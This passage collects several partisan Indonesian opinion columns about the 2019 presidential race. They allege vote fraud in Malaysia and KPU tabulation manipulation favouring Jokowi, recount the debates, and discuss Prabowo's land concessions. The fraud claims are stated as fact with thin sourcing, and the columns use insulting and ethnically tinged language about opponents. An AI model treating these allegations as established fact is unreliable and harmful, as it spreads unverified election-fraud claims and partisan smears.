POLITIK
Kecurangan Malaysia: Mesin Fitnah 01 Mau Salahkan 02
Oleh Asyari Usman Jakarta, FNN – Tulisan ini diturunkan untuk membantu agar kubu 01 bisa sejenak memulihkan fungsi ‘lobus frontalis’ (otak depan) mereka. Sebab, dalam kasus coblos illegal di Malaysia, mereka mencoba mengolah fakta di pabrik fitnah dan hoax mereka menjadi kesalahan orang lain. Alhamdulillah, kubu 02 sejauh ini terjaga dari segala perbuatan yang hina dan licik. Tak sempat lama mesin fitnah 01 berpikir. Berpikir bagaimana cara untuk membuang kotoran kecurangan licik yang terjadi di Malaysia. Langsung bertebaran meme ‘akal miras’ (akal minuman keras) mereka. Sambil mabuk, para pendukung 01 ingin mengalihkan substansi isu coblos illegal itu menjadi skenario 02. Demi persaudaraan dengan Anda, wahai para pendukung dan pembuat fitnah di kubu 01, saya bantu untuk menemukan logika kasus coblos curang itu. Mungkin Anda semua sedang sempoyangan akibat miras, tak bisa berpikir jernih. Tak rela mengakui kesalahan dan fakta. Untunglah ada Pak Masinton Pasaribu (orang penting 01) yang menyiramkan air penyadar ke muka Anda yang sedang mabuk itu. Mari kita telusuri pakai akal sehat, wahai para operator mesin fitnah jahat 01. Anda me-meme-kan bahwa orang 02 mencoblos sendiri, gerebek sendiri, teriak sendiri. Ini sama sekali tidak logis. Yang logis? Fakta 1: Pak Masinton (seorang pemuka 01 asal PDIP) mengatakan bahwa sindikat jual suara sudah berlangsung sejak lama di Malaysia. Pak Masinton mengatakan, dia sendiri ditawari ‘suara murah’ dari Malaysia, tetapi beliau tolak. Kalau ditarik ke belakang, ke pilpres 2014, berat dugaan kecurangan ini sudah dilakukan untuk memenangkan Pak Jokowi, waktu itu. Check list: ‘lobus fontalis’ Anda tak berfungsi. Fakta 2: Panitia Pemilihan Luar Negeri (PPLN) di Malaysia diawasi langsung oleh Wakil Duta Besar yang duduk sebagai anggota PPLN. Untuk Anda ketahui, anak Dubes Rusdy Kirana, yaitu Davin Kirana, adalah caleg NasDem dapil DKI. Bantuan logika untuk adalah: bagaimana mungkin ribuan surat suara itu bisa jatuh ke orang 02 untuk dicoblos fitnah, sementara PPLN Malaysia yang diawasi Wakil Dubes itu bekepentingan untuk menjaga Davin Kirana? Anda pikir Wakil Dubes yang duduk di PPLN itu berani melawan Dubes yang sangat dekat dengan Pak Jokowi? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 3: PPLN Malaysia menolak pendampingan kotak suara keliling (KSK) oleh petugas Bawaslu. Siapakah yang menolah itu? Tentu Wakil Dubes yang Dubesnya punya anak untuk dimenangkan di pileg DPRRI. Tidakkah Anda memiliki logika bahwa Wakil Dubes yang bertugas di PPLN itu punya pengaruh dan otoritas besar? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 4: Orang 02 menggerebek sendiri, memviralkannya sendiri. Bantuan logika untuk Anda adalah: apakah bisa diharapkan orang 01 melakukan penggerebekan yang tulus-ikhlas sehingga terbongkarlah coblos illegal untuk capres 01 dan caleg Davin Kirana? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 5: Sebagai presiden, capres 01 memiliki dan menikmati keistimewaan untuk menyalahgunakan kekuasaannya. Siapakah, menurut akal sehat kalian, yang paling mudah melakukan kecurangan pemilu? Jokowi yang punya Mendagri, Jokowi yang punya Kapolri, Jokowi yang punya Menteri BUMN, Jokowi juga yang punya Dubes di Malaysia. Mungkinkan Prabowo mengerahkan ASN, Polisi, jajaran BUMN, mengerahkan Dubes Rusdy Kirana? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 6: Sama dengan isu Ratna Sarumpaet? Come on, kawan. Semua orang yang waras paham bahwa Pak Prabowo dan seluruh kubu 02 tidak pernah mengatur kebohongan Ratna. Hanya hati busuk dan akal sempit kalian di 01 yang memaksakan agar kebohongan itu ditimpakan ke kubu 02. Biar kalian paham, rangkaian kampanye 01 dan dukungan untuk Jokowi menjadi hancur-berantakan gara-gara hati kalian yang sudah berulat itu. Chcek list: ‘lobus frontalis’ Anda tak berfungsi. NOTE: supaya kalian tidak bingung, ‘lobus frontalis’ adalah otak depan yang berfungsi menerima dan mengolah infomasi; membuat ‘reasoning’ yang sehat; memahami bahasa, merancang kreativitas, dan menilai sesuatu. Cukup ini saja dulu, wahai saudara-saudaraku di kubu 01. Kalau terlalu banyak, khawatir masa pulih otak depan Anda habis waktu. Supaya berimbang, mohon tuliskan fakta dan logika Anda. Tapi, mohon Anda tulis dalam keadaan bebas pengaruh zat ‘fitnatanol’. Yaitu, fitnah yang mengandung alkolol 57% (seperti survey LSI Denny JA). (Penulis adalah wartawan senior)
Debat Pamungkas Pasca Jokowi dan Nasdem “Menang Mutlak” di Ruko Malaysia
Oleh Sri Widodo Soetardjowijono Jakarta, FNN – Debat capres kelima yang digelar Sabtu, 13 April 2019 adalah debat pamungkas yang perlu disimak. Dari debat ini setidaknya bisa menjadi acuan siapa sesungguhnya yang layak menjadi pemimpin 5 tahun ke depan. Akan terlihat jelas pula siapa yang punya kapabilitas dan siapa yang jago memproduksi pencitraan. Jika kita saksikan dengan teliti, ada yang harus diwaspadai oleh capres cawapres Prabowo Sandi. Meski sudah bisa diraba siapa yang bakal unggul, namun mereka tetap harus hati-hati. Maklum, yang dihadapi capres unik dan luar biasa. Bisa dipastikan tabiat petahana dalam menjegal lawan debat akan terulang kembali. Mari kita lempar lamunan kita ke belakang, 5 tahun yang lalu. Publik masih ingat Debat Capres 2014, di mana pasangan Jokowi-Kalla “sukses” menjebak pertanyaan yang tak disangka oleh pasangan Prabowo Hatta, yakni tentang Piala Adipura. Capres Prabowo-Hatta kurang lengkap menjelaskan tentang Piala Adipura, lalu diperjelas oleh pasangan Jokowi-Kalla. Mereka hadir sebagai “ahli” Piala Adipura yang sesungguhnya sudah dihafal sebelumnya. Mereka berhasil “mempermalukan” pasangan Prabowo-Hatta di mimbar debat. Pola yang mereka lakukan adalah memberikan umpan pertanyaan yang diperkirakan lawan tidak tuntas menjawabnya lalu dijelaskan secara panjang lebar oleh pemberi umpan. Mereka menempatkan diri seakan-akan hebat dan menguasai masalah. Apalagi didukung Tim Hore yang ada di belakang pasangan andalannya itu sudah siap dengan celoteh, bunyi-bunyian, dan keplok-keplok. Bahkan, kalau diizinkan mereka akan membawa drum atau petasan. Mereka akan meneriaki dan membuat bising capres lawan, mana kala jawaban yang kurang pas. Mereka ingin menciptakan kesan bahwa pasangan Jokowi-Kalla adalah pasangan yang pintar dan pasangan Prabowo-Hatta adalah pasangan yang bodoh. Upaya ini berhasil didukung pula oleh pasukan buzer di media sosial yang menggorengnya setiap detik. Inilah kemenangan licik capres Jokowi-Kalla dalam debat capres tahun 2014. Agaknya pola ini berhasil mengelabuhi publik dan kini diulang dalam debat capres 2019. Lihat saja pada debat pertama 17 Januari 2019. Capres petahana mempersoalkan kuota perempuan di tubuh Partai Gerindra yang tidak konsisten. Pertanyaan yang sesungguhnya naif, sebab apa urusannya presiden dengan internal partai Gerindra. Ini debat capres bukan debat calon ketua umum partai. Namun demikian Prabowo menjawab dengan elegan bahwa tuduhan itu tidak benar. Di Gerindra, kata Prabowo pengurusnya banyak yang perempuan, bahkan ada sayap Perempuan Indonesia Raya. UU menyaratkan 30 persen kuota perempuan, tetapi di Gerindra bahkan hampir 40 persen. Mendengar penjelasan ini Jokowi tidak bisa membantahnya. Malah membandingkan dengan kabinet, bahwa baru kali ini menteri luar negeri dijabat perempuan. Serangan kembali dilancarkan pada debat capres kedua 17 Februari 2019, Joko Widodo bertanya infrastruktur apa yang akan dibangun Prabowo untuk mendukung unicorn yang ada di Indonesia. Jokowi tidak jelas menyebutkan kata unicorn, yang terdengar adalah yunikon. Oleh karena itu Prabowo mempertegas spellingyang benar dan bertanya balik “unicorn yang online-online itu?” Jokowi bilang iya, meski tampak ogah-ogahan menjawabnya. Prabowo tak mau terjebak dalam istilah yang tidak terdengar dengan jelas. Setelah jelas, ia kemudian menjawab dengan tuntas, apa yang ditanyakan Jokowi. Jokowi lalu menambahi apa yang sudah disampaikan Prabowo. Pada debat ketiga, 17 Maret 2019 giliran antarcawapres yang diadu. Pada segmen saling bertanya, cawapres 01 Kyai Marif mengajukan pertanyaan tentang stunting. Cawapres 02 Sandiaga Uno dengan cermat dan jelas memaparkan istilah stunting, di mana suatu kondisi kekurangan gizi kronis pada anak, yang sudah ada sejak dalam kandungan hingga masa awal anak lahir. Sandi menjelaskan masalah stunting di Indonesia sudah gawat darurat, di mana 2/3 anak kurang asupan gizi, oleh karena itu butuh kerja bersama antar-pemeritah dan masyarakat. Kyai Ma’ruf pun mengangguk-angguk pertanda mafhum mendengar jawaban Sandi. Strategi jebakan kembali dilontarkan oleh capres 01 Jokowi pada debat keempat, 30 Maret 2019. Jokowi mengajukan pertanyaan, “Pemerintah sedang menggalakkan Dilan (digital dan melayani). Apa yang Bapak ketahui tentang Mol Layanan Publik? Kalimat ini disampaikan dengan suara yang agak lirih. Waktu yang diberikan moderator adalah 2 menit, tetapi hanya dipakai sekitar 30 detik saja. Masih ada waktu 1,5 menit untuk membuat pertanyaan yang lebih jelas dan merangsang, tetapi tidak digunakan. Pun demikian cukup puas bagi Prabowo untuk memberi kuldum (kuliah dua menit) kepada Jokowi tentang layanan yang efektif dan efisien. Lagi-lagi Jokowi cuma menambahkan apa yang sudah dijelaskan Prabowo. Inilah bahaya laten debat, bisa muncul tiba-tiba dan menjebak. Mungkin mereka berharap lawan debat akan gelagapan dan terbata-bata dalam menjawab. Tahun 2014 Jokowi dan pasukannya boleh saja bangga dengan pola jebak-menjebak. Tapi di 2019 ini, taktik mereka gagal total, justru mereka yang terjebak, panik, gelagapan, dan vertigo akut. Kepanikan dimulai ketika massa kampanye pendukung 01 selalu miskin peserta. Panggung lengang dan bangku kosong menjadi pemandangan yang lumrah bagi kampanye Jokowi Maruf. Pada 09 April 2019, kampanye Jokowi di 3 tempat semua mengecewakan. Start dari Kerawang, Jawa Barat. Massanya hanya 2 ribuan. Dari Karawang dilanjutkan ke Bandung Di sini lebih menyedihkan lagi karena dari pagi sampai siang – menurut istilah urang Bandung, cuma check sound terus alias acara tidak dimulai karena massanya sedikit. Ketahuan sepi, Jokowi batal ke Bandung, ia kemudian melanjutkan kampanyenya ke Solo, Jawa Tengah. Eh Stadion Sriwedari cuma berisi sepertiganya. Kalah jauh dari kampanye Prabowo hari berikutnya, 10 April 2019. Di Padang Sumatera Barat, Jokowi juga takut datang. Ia gelagapan, lalu mengutus menteri pemilik dwi kwarganegaraan Archandra Tahar. Kehadiran Wamen ESDM pun tak manarik minat urang awak. Padahal ada 11 bupati yang dikerahkan. Di ibukota, tepatnya di GOR Ciracas Jakata Timur, kampanya Jokowi bikin spot jantung dan vertigo. Koran-koran menyebut kampanye sepi, sementara masyarakat sekitar menyebut GOR seperti rumah hantu. Wajar jika Hendropriyono, konon misuh-misuh. Semua tiba-tiba gelagapan, tak seindah yang dilukiskan di media sosial. Perjuangan terakhir pemuja Jokowi bakal ditunjukkan dalam kampanye di Gelora Bung Karno, Senayan Jakarta, Sabtu 13 April 2018. Mereka bertekad mengumpulkan massa melebihi kampanye Prabowo-Sandi 7 April 2019 lalu yang mencapai lebih dari 1 juta massa. Bus-bus disiapkan, makanan digratiskan. Karyawan BUMN dan swasta – meski libur – diwajibkan hadir, jika tidak akan diberi sanksi. Massa diimpor dari Banten, Bogor, Cianjur, Jateng, Jogja, dan Jatim. Mereka dihadirkan dan difasilitasi menggunakan bus kota. Tidak lupa uang saku sudah disiapkan. Hehe rakyat Jokowi lupa, kesejahteraan bukan diukur dari seringnya diberi makan nasi bungkus atau dilempari recehan di jalanan. Kesejahteraan harus bisa dirasakan semua lapisan masyarakat dengan sistem yang baik. Bukan sekadar bagi-bagi hadiah dan bagi-bagi duit, apalagi musiman. Mereka juga menghadirkan 500-an artis. Hitungan mereka sederhana, setiap artis memiliki ratusan ribu follower yang kelak akan memadati Senayan. Andalan mereka adalah Slank dan berharap seperti 5 tahun lalu. Padahal itu sudah basi, sudah tidak menarik lagi. Selama 5 tahun ini, kita sudah bisa membaca siapa Slank. Slankers yang dulu berbeda dengan Slankers sekarang. Massa Jokowi diperintah untuk memakai baju warna seragam, mereka tak boleh memakai atribut partai. Instruksi ini justru mengundang pertanyaan: ke mana partai-partai koalisi, apakah mereka sudah pasrah atau mereka tidak mau mendukung Jokowi lagi? Entahlah, yang jelas kampanye Jokowi di GBK tidak bermakna apa-apa, berapapun yang hadir. Massa mengambang sudah menentukan pilihan saat Ustad Abdul Somad mendeklarasikan dukungan kepada Prabowo. Sementara massa yang semula pendukung Jokowi sudah mengalihkan dukungan kepada Prabowo saat terbongkarnya kejahatan surat suara sudah dicoblos di Malaysia. Dari hasil penggerebegan ada puluhan ribua surat suara yang dicoblos untuk pasangan 01 dan anggota legislatif dari Nasdem Davin Kirana, putra dari Rusdi Kirana. Ini jahat. Publik juga makin antipati terhadap capres 01 setelah tahu bahwa Rusdi Kirana adalah bekas calo tiket pesawat di Bandara. Berkat kerja kerasnya, pebisnis Tionghoa itu berhasil merapat ke Partai Kebangkitan Bangsa dan menggelayut ke istana. Dengan posisi ini ia berhasil membeli Bandara Halim Perdana Kusuma, bandara legendaris milik TNI AU yang jatuh dengan mulus ke swasta asing – Temasek – sebuah BUMN milik Singapura. Oleh Jokowi, Rusdi didapuk menjadi Dubes RI di Malaysia, jabatan yang biasanya diemban oleh tentara atau polisi. Miris Bro. Mudah-mudahan, Pak Prabowo bisa mengonfirmasi Jokowi dalam debat pamungkas besok malam, tentang model nasionalisme seperti apa yang hendak dikembangbiakkan Jokowi. End.
Mind Games, Permainan Berbahaya KPU
Oleh : Hersubeno Arief Jakarta, FNN - Benarkah Komisi Pemilihan Umum (KPU) sedang menjalankan mind games, permainan pikiran? Mereka coba mempengaruhi, memanipulasi rakyat Indonesia, —terutama pendukung Prabowo— agar meyakini bahwa pilpres sudah selesai. Tidak perlu lagi melakukan perlawanan. Para saksi tidak perlu lagi mencermati hasil penghitungan suara. Quick count yang dilansir lembaga survei sudah benar. Jokowi menang dan Prabowo kalah? Metode permainan psikologi untuk memanipulasi dan mengintimidasi pikiran orang itu cukup sederhana. Melalui Aplikasi Sistem Informasi Penghitungan Suara atau Situng, KPU memasukkan ( entry ) data dari daerah-daerah yang dimenangkan Jokowi. Sebaliknya untuk provinsi yang dimenangkan Prabowo, entry datanya diperlambat. Kalau toh dimasukkan, maka dipilih kota/kabupaten, bahkan kecamatan yang suaranya dimenangkan Jokowi. Abrakadabra…..! Melalui pemetaan dan pemilihan asal suara secara cermat, data yang ditampilkan oleh KPU angkanya bisa persis sama dengan hasil quick count. 54-45 persen. Spekulasi itu belakangan ini banyak bermunculan di media sosial. Jangan terlalu cepat percaya. Please cek ricek terlebih dahulu. Untuk membuktikannya silakan buka web resmi KPU dan masuk ke aplikasi Situng. Dijamin Anda akan kagum dengan hasil karya para komisioner KPU. Aneh tapi nyata! Kok bisa-bisanya mereka melakukan hal itu. Tega banget! Mengangap semua orang Indonesia bodoh dan bisa dibodohi. Praktisi public relations Heri Rakhmadi menulis sebuah opini dengan judul “Quick Count, Real Count KPU dan Angka Cantik 54 Persen.” Secara satire Heri mempertanyakan mengapa data real count KPU bisa sama persis dengan quick count? “Setelah menghiasi layar kaca dan portal berita, kini angka 54 persen juga terus menghiasi layar tabulasi real count milik KPU. Tentunya angka 54 persen ini kembali disematkan kepada Paslon 01, walau sesekali dia dengan centil naik ke angka 55 persen,” tulisnya. Wartawan Republika Harun Husein sudah dua kali membuat tulisan di akun facebooknya. Tulisan pertama berjudul “Real Count Masih Pilih Data.” Harun menyoroti derasnya data KPU dari Jawa Tengah dan Jawa Timur yang diidentifikasi menjadi kantong suara Jokowi. Sebaliknya data dari Jawa Barat dan DKI Jakarta, kantong suara Prabowo masuknya beringsut. “Akibatnya, walaupun data masuk baru sekitar 7,75 persen dari total 813.350 TPS di seluruh Indonesia, hasilnya klop dengan _quick count_ dari lembaga-lembaga survei, seolah sudah distel sedemikian rupa,” tulisnya pada Sabtu (20/4) Pukul 23.49. Harun kembali membuat tulisan kedua dengan judul “Real Count (Masih) Rasa Quick Count.” “Sampai dengan Senin pagi ini, porsi Jateng di Real Count masih tetap yang terbesar, dengan 2,9 juta suara (13,9%), disusul Jatim 2,28 juta suara (10,9%), Jabar 1,9 juta suara (9,3%), DKI Jakarta 1,2 juta (5,7%). Sedangkan daerah-daerah lainnya jauh tertinggal.” Ketika dibuka pada Selasa malam (23/4) pukul 20.20 WIB komposisinya tidak berbeda jauh dengan yang ditulis Harun. Total prosentase suara yang masuk ke Situng KPU 26 persen, tapi di tiap-tiap daerah berbeda-beda prosentase masuknya. Beberapa daerah yang dianggap basis 01, seperti Jawa Tengah dan Bali tinggi inputnya. Jawa Tengah sudah 21 persen, Bali 35 persen. Sementara basis 02 seperti Jawa Barat baru 11,5 persen, Banten 15 persen. Jakarta yang seharusnya bisa lebih cepat, ternyata data yang diinput baru 26 persen. Menariknya lagi-lagi data yang diinput terkesan mencurigakan. Wilayah yang diidentifikasi sebagai basis 01 seperti Jakarta Barat sudah 30,7 persen. Lebih tinggi dari basis 02 Jakarta Selatan 27 persen, dan Jakarta Timur 20 persen. Di Kecamatan Gambir, Jakarta Pusat tempat Jokowi memilih sudah masuk 49 persen, Menteng 50 persen. Namun Tanah Abang basis pendukung 02 baru 9,5 persen. Heri dan Harun tidak salah. Walaupun keduanya menulis dengan nada bercanda, sedikit ngledek, tapi pesannya sama. Mereka mencurigai data yang dirilis Situng KPU kok “secara kebetulan” mirip dengan hasil quick count. “Mbok data RC jangan statis seturut QC lah. Dinamis sikitlah, atau sekali-kali zig-zag seperti MotoGP yang ada adegan kejar-kejaran dan salip menyalip di tikungan, biar penontonnya antusias tepuk tangan mengelu-elukan jagoannya…,” pesan Harun. Sampai kapan KPU bisa menjalankan skenario mind games? Mempengaruhi pikiran publik agar percaya bahwa hasil quick count benar, dan Prabowo kalah? Sulit bertahan Bersamaan dengan semakin tingginya data yang masuk, maka dipastikan komposisinya akan berubah. Apalagi bila data dari Jabar yang menjadi basis 02 masuk. Jangan lupa Jabar memiliki jumlah pemilih terbesar di Indonesia, 17 persen dari DPT. Data Situng KPU akan berubah sangat signifikan dan tak terhindarkan Prabowo menang. Apalagi bila data dari Sumatera dan sebagian Sulawesi yang dimenangkan secara mayoritas oleh Prabowo masuk. Skenario permainan pikiran publik itu berantakan. Sampai disini kita bisa memahami mengapa KPU melakukan “kesalahan” input data yang sangat konsisten. Suara Jokowi bertambah, dan suara Prabowo berkurang. Polanya sangat baku. Suara Jokowi digelembungkan, dan suara Prabowo dikempeskan di ratusan TPS. Itu adalah bagian dari skenario besar kecurangan. Mereka bekerja secara terstruktur, sistematis, dan massif (TSM). Mulai dari perencanaan, sebelum pelaksanaan, pada saat pelaksanaan, dan pasca pelaksanaan Pilpres. Apapun caranya, berapapun harganya, Jokowi harus menang! Bagaimana KPU bisa menjelaskan kasus di TPS 4, Petak Kaja, Gianyar, Bali. Suara Jokowi berubah dari 183 menjadi 1.183, dan suara Prabowo hanya 2. Jumlah seluruh suara sah di TPS itu sebanyak 185, jumlah suara tidak sah 4, sehingga total hanya 189 suara, baik yang sah maupun yang tidak sah. Di TPS 48 Tanah Baru, Depok, Jabar Jokowi 135 suara, Prabowo 114 suara. Suara tidak sah 3 suara, dengan jumlah pemilih 252 orang. Namun berdasarkan data Situng, suara untuk 01 dicatat 235 suara, dan 02 ditulis 114 suara. Ada penggelembungan 100 suara untuk Jokowi. Kalau ada waktu silakan buka media online dan medsos, dijamin Anda bakal kelelahan dan kewalahan karena mendapati “kesalahan” semacam itu. Kasusnya sangat buaanyaaak! Suara Jokowi menggelembung sampai tambun. Suara Prabowo dikempesin sampai kurus kering. Dengan jumlah TPS lebih dari 800.000, kalau mereka menambah rata-rata 10 suara, sudah ada penambahan 8 juta suara, atau sekitar 8 persen dari suara yang sah. Kalau mereka bisa menambah 100 suara seperti di Depok, jumlahnya 80 juta. Tambahan suaranya sudah 50 persen. Kalau 1.000 suara seperti di Bali, jumlahnya mencapai 800 juta suara. Jokowi menang 450 persen! Masuk akal? “Kalau mau curang ya sedikit cerdas lah. Mbok sekali-kali, ada suara Prabowo yang digelembungkan,” canda mantan Komisioner KPU Prof Chusnul Mariyah. End
Debat Reforma Agraria: Jokowi Pernah Jadi Karyawan Prabowo
Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Reforma agraria seakan menjadi pekerjaan rumah abadi bagi siapa pun yang terpilih menjadi Presiden dan Wakil Presiden RI pada Pilpres, 17 April 2019. Apakah paslon 01 Joko Widodo – Ma’ruf Amin atau paslon 02 Prabowo Subianto – Sandiaga Uno. Meski tegas tetap berpegang pada peraturan perundang-undangan, pada Debat Pilpres II lalu, para capres belum terlihat tajam untuk menindaklanjutinya. Yang terjadi justru capres Jokowi berusaha menelanjangi “kepemilikan” HGU lahan oleh Prabowo. Pada Pasal 12 ayat 4 huruf i Perbaikan Peraturan Kepala BPN Nomor 6 Tahun 2013 disebut, kepemilikan HGU tidak boleh dibocorkan ke publik. Lha, ini capres petahana Jokowi sudah jelas-jelas menyebut kepemilikan HGU Prabowo di dua lokasi. “Kalau mau adil disarankan BPN mengumumkan kepemilikan HGU oleh semua pengusaha di Indonesia, sebagaimana putusan MA Tahun 2017 tentang Keterbukaan Informasi Publik tentang HGU ini,” tulis tweet @Ahmadyaninews (13:50 18 Feb 19 Tweet) Pernyataan Capres 01 Joko Widodo yang juga Presiden RI dalam Debat Pilpres II, Minggu (17/2/2019) perihal “kepemilikan” lahan oleh capres 02 Prabowo Subianto di Kalimantan Timur justru memicu warga netizen mencari tahu kebenarannya. “Saya tahu Pak Prabowo memiliki lahan yang sangat luas di Kalimantan Timur sebesar 220 ribu ha, juga di Aceh Tengah 120 ribu ha. Saya hanya ingin menyampaikan, pembagian-pembagian seperti ini tidak dilakukan masa pemerintahan saya,” ujar Jokowi. Ungkapan capres petahana itu langsung direspon penuh sorak oleh pendukungnya yang juga hadir dalam debat tersebut. Hal itu diucapkan Jokowi setelah dia menyampaikan pencapaian pemerintah dalam pengelolaan lahan. Salah satunya dengan membagikan sertifikat pada masyarakat yang membutuhkan. Sertifikat-sertifikat ini, menurutnya, tak dibagikannya pada lahan-lahan yang besar. Sebab sebelumnya, Prabowo menyindir apa yang dilakukan Jokowi berdampak pada tidak akan ada lagi lahan bagi anak-cucu kelak. Setelah disindir Jokowi, Prabowo di ujung debatnya lantas memberikan jawaban. Prabowo mengaku memiliki lahan tersebut, tapi semua itu hanya Hak Guna Usaha (HGU). Sebuah sikap seorang pemimpin yang jujur mengakuinya. “Itu benar, tapi semua itu hanya HGU dan milik negara. Jadi, setiap saat negara bisa ambil kembali. Untuk negara saya rela, tapi dari pada jatuh ke pihak asing, lebih baik saya yang mengelola. Saya nasionalis dan patriot,” tegas Prabowo. Jejak digital lahan di Aceh pernah diungkap mantan Menteri BUMN Dahlan Iskan, seperti dilansir Detik.com (Selasa, 04 Sep 2012 15:45 WIB). PT Kertas Kraft Aceh (Persero) yang didirikan untuk mencapai swasembada pangan era Presiden Soeharto, kembali bangkit. Bangkit dari keterpurukan. Menteri BUMN Dahlan Iskan mengungkapkan Kertas Kraft ini mulai “dihidupkan” kembali dengan cara mengembangkan pembangkit listrik yang sudah dimilikinya. “Pembangkit listriknya dihidupkan kembali kemudian menghasilkan listrik 22 MW yang nantinya bisa dijual ke PLN dengan demikian Kertas Kraft akan mulai income kembali setelah pembangkitnya dihidupkan kembali,” kata Dahlan di Jakarta, Rabu (4/9/2012). Kertas Kraft juga siap mengolah bahan baku kembali. Bahan baku tersebut dihasilkan dari Hutan Tanaman Industri (HTI). Karena bahan baku Kertas Kraft ini berbeda dengan bahan baku lain. Harus pohon yang mengandung kandungan tertentu dan panjang. “Dulu Kertas Kraft mempunyai lahan pohon panjang tersebut hingga 60.000 hektar tetapi sejak reformasi, HTI itu bermasalah,” ungkapnya. Pemilik lahan itu kini terpecah menjadi dua. Yakni dimiliki Prabowo Subianto dan Inhutani IV namun tetap mayoritasnya Prabowo. “Karena rakyat Aceh menganggap Kertas Kraft itu penting maka diusahakan agar HTI bisa menyelesaikan yang bermasalah tersebut. Saya sudah laporkan ke Pak Prabowo dan demi Aceh, dirinya merelakan melepaskan haknya di HTI dan diberikan ke Inhutani IV yang nantinya akan diberdayakan untuk Kertas Kraft,” papar Dahlan. Kabar mengejutkan datang dari Gubernur Aceh non-aktif Irwandi Yusuf. Ia membenarkan perusahaan capres 02 Prabowo Subianto yang menguasai pengelolaan ribuan hektare lahan di wilayah Aceh. Perusahaan tersebut, PT Tusam Hutani Lestari, yang memasok kayu pinus sebagai bahan pembuat kertas ke Kertas Kraft Aceh (KKA). Sebelum dibeli oleh Prabowo, perusahaan itu bernama PT Alas Helau. “Pak Jokowi lebih tahu, sebab Pak Jokowi kerja di sana juga dulu, di PT Alas Helau. Tiga tahun dia di sana dengan Pak Prabowo,” kata Irwandi dikonfirmasi awak media di Pengadilan Tipikor Jakarta, Senin malam, 18 Februari 2019. Meski demikian, Irwandi mengaku tak tahu persis kapan perusahaan itu dibeli oleh Prabowo. Yang pasti, tekan Irwandi, sebelum dirinya menjabat Gubernur Aceh. “Enggak tahu (kapan persisnya perusahaan itu dibeli oleh Prabowo),” lanjutnya. “Sebelum aku jadi Gubernur Aceh. (Luasnya itu) 120 hektare, sekarang mungkin yang aman 100 ribu,” kata Irwandi, seperti dilansir Viva.co.id. Menurutnya, perusahaan tersebut dulu bermasalah, karena banyak menebang hutan. Akhirnya, kata Irwandi, perusahaan tersebut dihentikan. “Sudah bermasalah. Pabrik KKA bermasalah, hutannya juga bermasalah, banyak ditebang. Tahun pertama dan kedua (saya menjabat) kuhentikan,” kata Irwandi. Jadi, kalau capres Jokowi tahu betul dan benar menyebut jumlah lahan yang “dimiliki” capres Prabowo di Aceh tersebut, itu lebih karena ia pernah bekerja di perusahaan Prabowo di sana. Sehingga, Jokowi “tidak salah” sebut. Luhut dan Taipan Tim Advokasi BPN Indonesia Muda, Ali Zubeir Hasibuan menanggapi “serangan” pribadi ke Prabowo tersebut. “Jika kita melihat program sertifikasi tanah yang dijalankan pemerintahan Jokowi lebih mengutamakan kepemilikan pribadi,” ujar Ali Zubeir, Senin (18/2/2019). Cara berbikir Jokowi yang lebih mengedepankan hak milik pribadi yang mewarnai program sertifikasi tanah, membuat Jokowi menuduh serampangan kompetitornya Prabowo. Tuduhan serampangan ini tentunya tak mengherankan. Menurut Ali Zubeir, itu sesuai dengan karakter ugal-ugalannya Jokowi dalam menjalankan pemerintahan selama 4 tahun yang tidak berdampak pada kesejahtraan rakyat Indonesia. Ada lima prinsip dasar melatarbelakangi kelahiran UU 5 Tahun 1960 tentang Pokok Agraria. Pertama, pembaruan hukum agraria agraria kolonial menuju hukum agraria nasional; Kedua, menjamin kepastian hukum; Ketiga, penghapusan hak asing dan konsesi kolonial atas tanah di Indonesia; Keempat, mengakhiri penghisapan feodal dan perombakan struktur penguasaan tanah; dan kelima, sebagai wujud implementasi atas Pasal 33 UUD 1945. Wujud penguasaan negara atas tanah yang tertuang dalam prinsip dasar UU PA itu, mengatur tentang penggunaan tanah yang dapat mensejahtrakan rakyat Indonesia. Salah satunya diatur dalam Pasal 28 yang berbunyi: HGU adalah hak untuk mengusahakan tanah yang dikuasai langsung oleh negara, dalam jangka waktu sebagaimana tersebut dalam pasal 29, guna perusahaan pertanian, perikanan atau peternakan; HGU diberikan atas tanah yang luasnya paling sedikit 5 ha, dengan ketentuan bahwa jika luasnya 25 ha atau lebih harus memakai investasi modal yang layak dan tehnik perusahaan yang baik, sesuai dengan perkembangan zaman; dan HGU bisa beralih dan dialihkan kepada pihak lain. “Adapun pemberian HGU tentunya memberikan pemasukan kepada kepada kas negara yang menggaji pegawai pemerintahan yang dipimpin Jokowi secara ugal-ugalan selama empat tahun. Di samping itu juga menciptakan lapangan pekerjaan lebih banyak kepada rakyat Indonesia,” kata Ali Zubeir. HGU perusahaan yang dikelola Prabowo itu sewaktu-waktu bisa dikembalikan ke negara. Tentunya sangat berbeda dengan program sertifikasi tanah Jokowi yang mengedepankan kepemilikan pribadi di mana dapat dikembalikan kepada negara harus melalui ketetapan pengadilan, ganti rugi, dan atau jual beli dengan pemerintah. Di samping tuduhan serampangan, Jokowi mungkin lupa, sebanyak 25 grup perusahaan kelapa sawit menguasai lahan seluas 5,1 juta ha atau hampir setengah pulau Jawa yang luasnya 128.297 km2. Dari 5,1 juta ha (51.000 km2), sebanyak 3,1 juta ha telah ditanami sawit dan sisanya belum ditanami. Luas perkebunan sawit di Indonesia saat ini sekitar 10 juta ha. Kelompok perusahaan itu dikendalikan oleh 29 taipan yang perusahaan induknya terdaftar di bursa efek, baik di Indonesia dan luar negeri. Dalam proses penguasaan dan penerbitan HGU-nya masih menyisakan segudang masalah bagi masyarakat adat dan petani sampai sekarang. Ali Zubeir membuka siapa para taipan yang dalam bahasa Jepang artinya “tuan besar”, yang menguasai kelompok perusahaan sawit di Indonesia. Mereka adalah Grup Wilmar (dimiliki Martua Sitorus Dkk), Sinar Mas (Eka Tjipta Widjaja), Raja Garuda Mas (Sukanto Tanoto), Batu Kawan (Lee Oi Hian asal Malaysia), Salim (Anthoni Salim), Jardine Matheson (Henry Kaswick, Skotlandia), Genting (Lim Kok Thay, Malaysia), Sampoerna (Putera Sampoerna), dan Surya Dumai (Martias dan Ciliandra Fangiono). Lalu Grup Anglo-Eastern (Lim Siew Kim, Malaysia), Austindo (George Tahija), BW Plantation-Rajawali (Peter Sondakh), Darmex Agro (Surya Darmadi), DSN (TP Rachmat dan Benny Subianto), Gozco (Tjandra Gozali), Harita (Lim Hariyanto Sarwono); IOI (Lee Shin 